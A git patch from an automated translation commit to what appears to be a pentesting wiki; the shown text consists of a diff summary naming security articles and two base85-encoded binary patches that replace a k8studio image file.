From a37aec17bc886207ef7d969bcd494aca56a01358 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:29:22 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 648 +++++++++--------- .../pentesting-web/cgi.md | 50 +- .../pentesting-web/web-api-pentesting.md | 96 ++- .../pentesting-web/wordpress.md | 438 ++++++------ src/pentesting-web/command-injection.md | 58 +- src/welcome/hacktricks-values-and-faq.md | 114 +-- 8 files changed, 705 insertions(+), 699 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 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 